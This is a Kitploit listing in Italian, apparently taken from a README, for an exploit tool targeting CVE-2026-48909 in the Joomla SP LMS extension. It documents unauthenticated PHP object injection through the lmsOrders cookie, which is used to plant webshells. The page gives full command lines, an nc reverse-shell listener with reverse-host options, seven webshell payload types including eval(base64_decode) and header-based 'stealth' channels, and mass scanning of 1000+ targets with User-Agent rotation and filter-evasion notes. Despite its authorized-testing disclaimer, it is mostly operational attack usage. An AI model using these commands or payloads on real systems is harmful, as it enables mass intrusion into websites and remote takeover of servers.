CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 - Exploit di iniezione di oggetti PHP non autenticata a RCE per l'estensione Joomla SP LMS versioni <= 4.1.3. Sfrutta la deserializzazione del cookie lmsOrders per scrivere una webshell tramite la catena di gadget Joomla FormattedtextLogger. Include shell interattiva, scoperta del percorso e pulizia. Solo per test di sicurezza autorizzati. | Kitploit

Attributo	Valore
CVE ID	CVE-2026-48909
CVSS	9.5 (Critical)
Vettore d'Attacco	Rete — non autenticato
Impatto	Esecuzione Remota di Codice
Prodotto Affetto	Joomla SP LMS
Versioni Affette	1.0.0 – 4.1.3
Versione Corretta	SP LMS 4.1.4+
Catena Gadget	Richiede Joomla < 5.2.2

Capacità	Descrizione
Exploit non autenticato	Nessuna credenziale richiesta
Payload multipli	7 varianti di webshell/esecuzione
Shell interattiva	Sessione con cronologia comandi dopo il deploy
Scoperta percorso	Sondaggio automatico del percorso scrivibile
Pulizia	Rimuovi webshell distribuita dopo i test

Capacità	Descrizione
Scansione di massa	Liste di target multi-thread (1000+)
Supporto proxy	HTTP/SOCKS (Burp, ZAP, ecc.)
Reverse shell	Payload basati su listener
Modalità stealth	Canali di comando orientati a Header/POST
Randomizzazione	Nomi shell UUID, rotazione User-Agent
Reportistica	Esporta come JSON, HTML o CSV
Assistenza al rilevamento	Controlli versione Joomla, `--check-only`, `--safe-mode`

# Listener
nc -lvnp 4444

# Exploit host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

Argomento	Descrizione
`target`	URL singolo target
`--targets`, `-T FILE`	File di target (un URL per riga)
`--path PATH`	Percorso assoluto sul server per la webshell
`--shell-type TYPE`	`minimal`, `standard`, `stealth`, `base64`, `full`, `reverse`, `blindshell`
`--shell-name NAME`	Nome file webshell (default: `x.php`)

Argomento	Descrizione
`--timeout SECONDS`	Timeout richiesta (default: `15`)
`--insecure`	Salta verifica certificato TLS
`--proxy URL`	es. `http://127.0.0.1:8080`
`--random-ua`	Ruota User-Agent (abilitato per default)
`--delay SECONDS`	Ritardo tra le richieste

Argomento	Descrizione
`--interactive`, `-i`	Shell interattiva dopo il deploy
`--check-only`	Solo controllo vulnerabilità
`--safe-mode`	Test non distruttivi
`--find-path`	Scopri automaticamente percorso scrivibile
`--cmd COMMAND`	Esegui un comando ed esci
`--cleanup PATH`	Rimuovi webshell al percorso
`--cleanup-after`	Pulizia dopo lo sfruttamento

Tipo	Comportamento	Utilizzo tipico
`minimal`	Esecuzione GET compatta	Spazio ridotto / test rapido
`standard`	GET + POST `cmd` (default)	Valutazioni generali
`stealth`	Comando tramite header `X-Cmd`	Riduci logging URL
`base64`	`eval(base64_decode(...))` via POST	Lab di evasione filtri
`full`	GET/POST + canale base64	Controllo più ampio
`reverse`	Shell di connessione di ritorno	Accesso persistente in lab
`blindshell`	Pattern alternativo di inclusione/esecuzione	Ambienti vincolati

python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

flowchart TD
    A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — PHP drop"]
    D --> E["Webshell on disk"]
    E --> F["Remote command execution"]

{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

Sintomo	Cosa provare
Impossibile generare payload sicuro per il filtro	Prova un `--path` diverso o `--find-path`; evita caratteri insoliti nel percorso
Verifica shell fallita	Aumenta `--timeout`; prova `--shell-type standard`; verifica che `system()` o simili non siano disabilitati; controlla la scrivibilità
Il target non sembra vulnerabile	SP LMS ≤ 4.1.3, Joomla < 5.2.2, `com_splms` presente; verifica blocchi WAF
HTTP 500	`--insecure`, `--timeout 30`, controlla i log dell'applicazione/server
Connessione proxy rifiutata	Conferma che il proxy sia in ascolto; URL schema/host/porta corretti
Verifica TLS fallita	Aggiungi `--insecure` per endpoint di laboratorio con certificati non validi

# Verbose + log su file
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# Attraverso Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# Prima test non distruttivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

exploit/
├── CVE-2026-48909 v3.0.py   # Strumento principale (v3.0)
├── requirements.txt         # Dipendenze Python
├── README.md                # Questo file
└── venv/                    # Virtualenv locale (opzionale, non committato)

Componente	Versione	RCE
SP LMS	< 4.1.4	Vulnerabile
SP LMS	≥ 4.1.4	Corretto
Joomla	< 5.2.2	Catena gadget utilizzabile
Joomla	≥ 5.2.2	Catena gadget corretta

Argomento	Descrizione
`--reverse-host HOST`	Host listener
`--reverse-port PORT`	Porta listener

Argomento	Descrizione
`--threads NUM`	Thread di lavoro (default: `10`)
`--export FILE`	Percorso output per risultati
`--export-format FORMAT`	`json`, `html`, `csv` (default: `json`)

Argomento	Descrizione
`--log-file FILE`	Scrivi log su file
`--quiet`, `-q`	Modalità silenziosa
`--verbose`, `-v`	Output verbose
`--no-banner`	Nascondi banner

CVE-2026-48909-Joomla-SP-Exploit

Più Popolari

Informazioni

CVE-2026-48909

Joomla SP LMS — Iniezione di Oggetti PHP non Autenticata → RCE

Indice

Panoramica

Dettagli della Vulnerabilità

Matrice di Compatibilità

Caratteristiche

Core

Valutazione & Operazioni

Note di Evasione

Installazione

Prerequisiti

Configurazione

Dipendenze

Avvio Rapido

Singolo target — scopri percorso + shell interattiva

Controlli sicuri (nessuno sfruttamento)

Scansione di massa

Reverse shell (laboratorio autorizzato)

Guida all'Uso

Scoperta del percorso

Percorso scrivibile noto

Sessione interattiva

Comando singolo

Payload stealth + interattivo

Proxy (Burp / ZAP)

Pulizia

Formato lista target

Riferimento Comandi

Target

Rete

Reverse shell

Modalità

Scansione di massa / report

Logging

Tipi di Payload

Catena di Attacco

Riepilogo tecnico

Bypass del filtro di input (alto livello)

Esempi di Output

Sessione interattiva

Esportazione JSON (struttura)

Comando singolo

Risoluzione dei Problemi

Flusso di debug

Struttura del Repository

Cronologia Versioni

v3.0.0 — Edizione Ultimate (Luglio 2026)

v2.1 — Edizione Professionale (Luglio 2026)

Disclaimer

Autore

Supporto